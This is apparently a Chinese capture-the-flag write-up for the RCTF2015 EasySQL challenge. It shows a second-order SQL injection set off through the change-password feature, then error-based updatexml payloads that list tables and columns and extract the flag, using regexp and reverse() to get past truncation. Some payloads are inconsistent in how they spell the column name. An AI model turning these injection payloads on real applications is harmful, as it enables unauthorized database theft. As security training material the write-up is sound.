[RCTF2015]EasySQL
知识点:二次注入,报错注入
二次注入
题目环境有注册,登录,修改密码功能,修改密码处存在二次注入漏洞,当注册的名字为admin"时,然后进行修改密码,会导致报错。
推测更新密码的语句是
password='xxxx' where username="xxxx" and pwd='xxxx'
知道这里可以报错之后,利用报错注入
报错注入
得表名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
XPATH syntax error: '~article,flag,users~'
flag表里面是假的flag
得字段名
admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
XPATH syntax error: '~name,pwd,email,real_flag_1s_her'
得字段值
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1))#
XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'
但是查字段值的时候,回显奇怪,是我们上一步查字段名称不完整导致的,使用regexp获取完整的字段名称,(column_name)regexp('^r')
限制字段名称是r开头的,也就是real_flag_1s_her
admin"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
得到完整的字段名
real_flag_1s_here
然后继续往下查
可以使用正则匹配regexp('^f')
,regexp可以匹配符合条件的字段值。
本地测试如下:users表中含有多个字段,其中列名为user的字段中,有含有admin值得字段值,我们可以通过regexp来进行匹配
select * from users where user regexp '^a';
表示查找users表中user字段值以a开头的信息。
所以本题中字段real_flag_1s_here
中含有flag{}样式的字段,可以通过regexp(’^f’)进行匹配
admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
XPATH syntax error: '~flag{20a2cc3d-ff1a-4748-beed-e8'
剩下的一半使用reverse()读取
admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_her)regexp('^f')))),1))#
XPATH syntax error: '~}0a48ef5e3b8e-deeb-8474-a1ff-d3'
然后进行一下反转